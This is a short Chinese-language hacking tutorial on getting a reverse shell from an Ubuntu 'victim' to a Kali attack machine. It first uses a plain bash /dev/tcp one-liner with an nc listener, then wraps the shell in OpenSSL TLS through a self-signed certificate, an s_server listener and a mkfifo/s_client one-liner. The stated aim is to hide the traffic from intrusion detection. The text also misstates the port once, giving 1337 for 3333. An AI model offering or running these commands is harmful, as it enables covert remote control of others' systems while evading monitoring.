kali使用OpenSSL加密反弹shell
kali使用OpenSSL加密反弹shell
通过bash普通反弹shell
kali开启监听
nc -lvp 3333
在受害机上反弹交互式shell
bash -i &>/dev/tcp/192.168.80.131/3333 <&1
成功反弹了ubuntu的shell,打开wireshark监听网卡
可以看到此时的流量都是明文传输,没有进行加密,这是会被IDC捕捉到的。
OpenSSL加密反弹shell
OpenSSL 简介
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份利用 OpenSSL 反弹 shell 之前需要生成自签名证书。
使用 OpenSSL 生成签名证书
在kali上生成证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车
使用 OpenSSL 反弹加密 shell
假设我们从 ubuntu 主机反弹 shell 到 kali 主机
------------------ ------------------------- | A:192.168.80.135 | --- shell ---> | B:192.168.80.131:3333 | ------------------ -------------------------
首先需用利用上一步生成的自签名证书,在 kali 主机上使用 OpenSSL 监听一个端口,在这里使用 3333 端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 3333
此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server
这时在 ubuntu 主机以OpenSSL形式进行反弹 shell 操作,命令为:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.131:3333 > /tmp/s; rm /tmp/s
此时已经成功反弹了shell到我们的攻击机上
使用 wireshark 抓包可以看到,ubuntu 和 kali 主机之间在使用 TLS1.2 协议进行加密通信
到此,已经实现流量加密。